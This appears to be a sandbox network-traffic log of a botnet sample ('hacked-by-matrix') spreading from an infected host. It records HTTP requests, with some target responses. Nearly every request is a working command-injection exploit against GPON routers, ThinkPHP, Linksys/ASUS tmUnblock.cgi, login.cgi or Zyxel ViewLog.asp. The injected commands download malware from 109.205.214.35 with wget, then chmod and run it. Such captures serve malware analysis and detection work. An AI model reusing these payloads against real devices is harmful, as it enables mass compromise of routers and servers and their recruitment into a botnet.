Mar 21, 2024 05:22:32.549245119 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
512	192.168.2.13	44558	42.216.184.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.549273014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
513	192.168.2.13	58048	42.35.117.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.549274921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
514	192.168.2.13	40548	109.132.104.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.549331903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
515	192.168.2.13	42634	109.142.143.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.549334049 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
516	192.168.2.13	45882	212.66.85.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.549354076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
517	192.168.2.13	52664	88.198.28.134	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.667180061 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:33.648264885 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:33.820838928 CET	509	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:33 GMT Server: Apache X-Robots-Tag: noindex, nofollow, noarchive Content-Length: 299 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 64 65 64 69 35 39 35 36 2e 79 6f 75 72 2d 73 65 72 76 65 72 2e 64 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache Server at dedi5956.your-server.de Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
518	192.168.2.13	59730	172.65.54.223	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:33.132086992 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
519	192.168.2.13	51378	172.65.236.214	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:33.132143021 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
520	192.168.2.13	54612	172.87.206.240	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:33.219926119 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
521	192.168.2.13	40780	172.65.112.181	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:33.221422911 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
522	192.168.2.13	41432	212.191.192.79	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:33.287249088 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:34.416538000 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:34.633476019 CET	121	IN	HTTP/1.0 301 Moved Permanently Location: https://uml.lodz.pl/ Connection: Keep-Alive Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
523	192.168.2.13	33902	80.211.188.144	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:33.319690943 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
524	192.168.2.13	52032	212.120.205.159	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:33.386980057 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:33.707220078 CET	85	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Server: RomPager/4.07 UPnP/1.0 EXT:
Mar 21, 2024 05:22:39.664900064 CET	85	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Server: RomPager/4.07 UPnP/1.0 EXT:

Session ID	Source IP	Source Port	Destination IP	Destination Port
525	192.168.2.13	54746	206.238.152.149	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:33.676436901 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:34.515294075 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:34.669769049 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:22:34 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:22:34.669828892 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:34 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
526	192.168.2.13	33422	213.150.12.111	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:33.693876028 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
527	192.168.2.13	47792	172.103.219.14	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:34.236673117 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
528	192.168.2.13	59014	172.67.137.138	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:34.509162903 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
529	192.168.2.13	49016	82.180.140.31	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:34.607125044 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:35.502882004 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:36.364535093 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:38.093588114 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: 